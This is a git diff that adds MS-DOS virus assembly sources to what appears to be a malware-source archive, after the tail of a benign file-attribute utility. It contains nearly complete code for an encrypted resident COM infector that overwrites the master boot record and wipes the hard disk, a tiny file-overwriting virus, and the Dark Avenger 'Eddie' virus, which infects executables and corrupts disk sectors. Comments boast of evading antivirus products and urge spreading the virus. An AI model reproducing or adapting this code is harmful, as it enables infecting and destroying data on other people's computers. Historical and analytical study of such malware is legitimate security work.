Call DOS to find file + Jnc Continue ; If no error continue + Cmp AX, 18 ; If not "no more files" error + Jnz FindError ; print error message + Jmp NoMoreFiles ; Now get out of the loop + +FindError: Mov DX, Offset FileSpecMsg ; Error message for file spec + Jmp ErrorExit ; Exit and print message + +Continue: Mov SI, 30+Offset DTABuffer ; Points to filename + Cmp Byte Ptr [SI], '.' ; See if "dot" entry + Jnz FileIsOK ; If not, continue + Jmp FindNextFile ; If so, skip it + +FileIsOK: Mov DI, [AppendFileName] ; Destination of file name + Mov CX, 14 ; Number of bytes to display + +TransferName: Lodsb ; Get the byte in file name + Stosb ; Save it + Or AL, AL ; See if terminating zero + Jz PadWithBlanks ; If so, display blanks + Call DisplayChar ; Display the character + Loop TransferName ; And loop back around + +PadWithBlanks: Mov AL, ' ' ; Pad names with blanks + Call DisplayChar + Loop PadWithBlanks ; And loop until CX is zero + +; Change And Display File Attributes +; ---------------------------------- + + Mov DX, Offset PathAndFile ; Points to ASCIIZ string + Test [ChangeFlag], -1 ; See if changing attributes + Jz DisplayIt ; If not, just display them + + Mov AX, 4300h ; Get file attribute + Int 21h ; by calling DOS + And CL, 27h ; Zero out some bits + And CL, [AndAttrBits] ; Turn off some bits + Or CL, [OrAttrBits] ; Turn on some bits + Mov AX, 4301h ; Set file attribute + Int 21h ; by calling DOS + +DisplayIt: Mov AX, 4300h ; Get file attribute + Int 21h ; by calling DOS + Mov BL, CL ; BL is attributes + Or BL, 08h ; Turn on Volume bit + Shl BL, 1 ; Shift to get rid of + Shl BL, 1 ; unused bits + Mov CX, 6 ; Number of bits left + Mov DX, 5+Offset AllFlagList; Storage of abbreviations + +AttrListLoop: Push DX ; Save abbreviation pointer + Shl BL, 1 ; Shift bit into carry + Jc FlagIsOn ; See if it's on + Mov DX, Offset AllFlagList ; If not, print blanks + +FlagIsOn: Mov AH, 9 ; Print string + Int 21h ; by calling DOS + Pop DX ; Get back abbreviation ptr + Add DX, 5 ; Kick up for next bit + Loop AttrListLoop ; And loop around + Mov AL, 13 ; Print carriage return + Call DisplayChar + Mov AL, 10 ; Print line feed + Call DisplayChar + +FindNextFile: Mov AH, 4Fh ; Find next file + Jmp FindFile ; By looping around + +NoMoreFiles: Int 20h ; Terminate + +; SUBROUTINE: Display Character in AL +; ----------------------------------- + +DisplayChar: Push AX + Push DX + Mov DL, AL ; Move character to DL + Mov AH, 2 ; Display it + Int 21h ; by calling DOS + Pop DX + Pop AX + Ret + +; Some data stored at end to cut down COM size +; -------------------------------------------- + +DTABuffer Label Byte ; For file find calls +PathAndFile equ DTABuffer + 43 ; For file path and name +CSEG EndS ; End of the segment + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.attrib.asm b/MSDOS/Virus.MSDOS.Unknown.attrib.asm new file mode 100644 index 00000000..fb86d991 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.attrib.asm @@ -0,0 +1,562 @@ +;┌────────────────────────────────────────────────────────┐ +;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. │ [NuKE] PoWeR +;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN │ [NuKE] WaReZ +;│ auToR: aLL [NuKE] MeMeBeRS │ [NuKE] PoWeR +;│ [NuKE] THe ReaL PoWeR! │ [NuKE] WaReZ +;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 │ [NuKE] PoWeR +;└────────────────────────────────────────────────────────┘ + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + + not word ptr [di] +sub byte ptr [di],0cch +xor word ptr [di],0684ah +inc byte ptr [di] +not byte ptr [di] +xor byte ptr [di],061h +xor byte ptr [di],05fh +xor byte ptr [di],061h + inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + + call MBR +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + + xor byte ptr [di],061h +xor byte ptr [di],05fh +xor byte ptr [di],061h +not byte ptr [di] +dec byte ptr [di] +xor word ptr [di],0684ah +add byte ptr [di],0cch +not word ptr [di] + inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + + ;--------------------------------- +action: ; +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],32 +jne NO_DAY ;nop! fuck ret +set: ; + +int 19h ;rebbot the machine +NO_DAY: ; +ret ; +;--------------------------------- + + MBR: +;************************************** +; Start of MBR-BOMB writing +;************************************** +mov ax,9f80h ;very high memory +mov es,ax ;good for buffer +mov ax,0201h ;read the original +mov cx,0001h ;MBR of the disk +mov dx,0080h ; +xor bx,bx ;to buffer 9f80:0000h +int 13h ; +push cs ; +pop ds ; +mov ax,9f80h ;add my MBR-BOMB +mov es,ax ;to real MBR in my +mov si,offset fat ;buffer +xor di,di ; +mov cx,105 ;ds:[fat]=>9f80:0000h +repe movsb ;total 105bytes +mov ax,9f80h ; +mov es,ax ; +xor bx,bx ;replace the original +mov ax,0301h ;MBR in the disk by the +xor ch,ch ;new MBR-BOMB. +mov dx,0080h ; +mov cl,1 ;WARNING! VSAFE/MSAVE +mov bx,0 ;NOTIFY THIS ACTION +int 13h ; +ret ; +;--------------------------------------------------- +;********************* +; Start of MBR code +;********************* +fat: ; +cli ;# +xor ax,ax ;# +mov ss,ax ;# +mov sp,7C00h ;# +mov si,sp ;# +push ax ;# +pop es ;# +push ax ;# +pop ds ;# +sti ;# + ;# +pushf ;# +push ax ;# +push cx ;# = This code be in the +push dx ;# original MBR +push ds ;# (NOT MODIFY) +push es ;# +MOV AH,04H ; Read real tyme +INT 1AH ; Clock +CMP DH,cs:byte ptr action_mes ; is Month? +JE CAGO ; yes! SNIF SNIF HD. +lit: +pop es +pop ds +pop dx +pop cx +pop ax +popf +jmp booti +CAGO: +;++++++++++++++++++++++++++++++++++++++++++++++++++++ +; START OF YOUR DESTRUCTIVE CODE (or not destructive) +;++++++++++++++++++++++++++++++++++++++++++++++++++++ + +rip_hd: + ;@ + xor dx, dx ;@ +rip_hd1: ;@ + mov cx, 2 ;@ + mov ax, 311h ;@ + mov dl, 80h ;@ + mov bx, 5000h ;@ + mov es, bx ;@ + int 13h ;@ + jae rip_hd2 ;@ + xor ah, ah ;@ + int 13h ;@ + rip_hd2: ;@ + inc dh ;@ + cmp dh, 4 ;@ + jb rip_hd1 ;@ + inc ch ;@ + jmp rip_hd + +;+++++++++++++++++++++++++++++++++++++++++++ +; END OF YOUR DESTRUCUTIVE CODE +;+++++++++++++++++++++++++++++++++++++++++++ +booti: +xor ax,ax ;# +mov es,ax ;# +mov bx,7c00h ;# +mov ah,02 ;# +mov al,1 ;# +mov cl,1 ;# #= This code be +mov ch,0 ;# in the original +mov dh,1 ;# MBR +mov dl,80h ;# (NOT MODIFY) + ;# +int 13h ;# + ;# +db 0eah,00,7ch,00,00 ;# +;******************* +; END OF MBR CODE +;******************* + + ;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + + ;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + + action_dia Db 020H ;day for the action +action_mes Db 0dH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.auvstiny.asm b/MSDOS/Virus.MSDOS.Unknown.auvstiny.asm new file mode 100644 index 00000000..d3c1dd15 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.auvstiny.asm @@ -0,0 +1,23 @@ +;AuVS.tiny.OVERWRITING.0001 +;My 1st VIRUS!!!!!!!!!!!!!! +;This is an extremely simple overwriting, tiny virus, that is easy to +;detect, but there's not much to do to clean it if you have no backups +;F-PROT detects this as an unknown TRIVIAL variant +START: + mov ah,4Eh ;Find first *.COM file in current dir + lea dx,OFFSET MASK ;*.COM + xor cx,cx ;xero out da register + int 21h ;find + mov dx,009Eh ;file handle + mov ax,3D01h ;open file for writing + int 21h ;do it + mov bx,ax ;put handle in bx + mov ah,40h ;write to file + mov cx,END - START ;find size of file even if modified + lea dx,OFFSET START ;the START + int 21h ;WRITE IT, DAMN IT!! + int 20h ;END IT ALL +Mask db '*.COM',0 +Copyright db 'Copyright `96, KALiPORNiA' +VirusName db 'AuVS.TINY.OVERWRITING.0001' +END: diff --git a/MSDOS/Virus.MSDOS.Unknown.avenger.asm b/MSDOS/Virus.MSDOS.Unknown.avenger.asm new file mode 100644 index 00000000..647ff149 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.avenger.asm @@ -0,0 +1,1024 @@ +OK, Rob - here ya' go. As I understand it, this is only one revision level +lower than the "current" version of the virus -- but I have no idea what the +differences are between the two. Sigh. TASM can be used to assemble the +code but you have + + [ Critical instructions for creating the executable have + been removed so this file can be viewed for educational + purposes only + ] + + I have been unable to cause the resulting executable to infect file on +floppy until + + [ Critical instructions for creating the executable have + been removed so this file can be viewed for educational + purposes only + ] + So, to begin infections +(after assembling/linking/editing the executable): + + [ Critical instructions for creating the executable have + been removed so this file can be viewed for educational + purposes only + ] + From there it will spread to files on +the hard drive and the floppy. FluShot+ makes a good monitor for watching +this virus at work. Have fun! + +Thanks for your help, and thanks for a great weekend. + +;************************ +;* * +;* E D D I E * +;* * +;* by Dark Avenger * +;* * +;* 3-JAN-1989 * +;* * +;* version 1.31x * +;* * +;************************ + +; "Blessed is he who expects nothing, for he shall not be disappointed." + +; The original source of one of the first Bulgarian viruses is in front of +; you. As you may notice, it's full of rubbish and bugs, but nevertheless +; the virus has spread surprisingly quickly troughout the country and made a +; quick round the globe. (It's well-known in Eastern and Western Europe, as +; well as in USA.) Due to the aniversary of its creation, the source is +; distributed freely. You have the rights to distribute the source which can +; be charged or free of charge, with the only condition not to modify it. +; The one, who intentionaly distributes this source modified in any way will +; be punished! Still, the author will be glad if any of you improves it and +; spreads the resulting executive file (i.e., the virus itself). Pay +; attention to the fact that after you assemble the source, the resulting +; .COM-file cannot be run. For that purpose you have to create a three-byte +; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the +; two files. Don't try to place a JMP at the beginning of the source. + +; DISCLAIMER: The author does not take any responsability for any damage, +; either direct or implied, caused by the usage or not of this source or of +; the resulting code after assembly. No warrant is made about the product +; functionability or quality. + +; I cannot resist to express my special gratitude to my "populazer" Dipl. +; eng. Vesselin Bontchev, who makes me famous and who, wishing it or +; not, helps very much in the spreading of my viruses, in spite of the fact +; that he tries to do just the opposite (writing programs in C has never +; led to any good). +; Greetings to all virus writers! + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + + + + + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + + + + + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, + cmp ax,0f000h ;where the original INT 13h vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check whether the program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is a complete nonsense. Try to enter a drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here + an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + + +; The writing trough this interrupt is not the smartest thing, bacause it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has not +; intercepted them (this is a doubtfull advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + + + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and 26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command inter- + jne dont_touch ;preter does not use this function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack + push es ;and changes them with what is needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les 